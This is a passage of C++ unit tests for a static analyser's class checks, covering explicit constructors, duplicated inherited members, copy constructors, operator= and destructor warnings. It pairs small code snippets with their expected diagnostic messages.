ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should 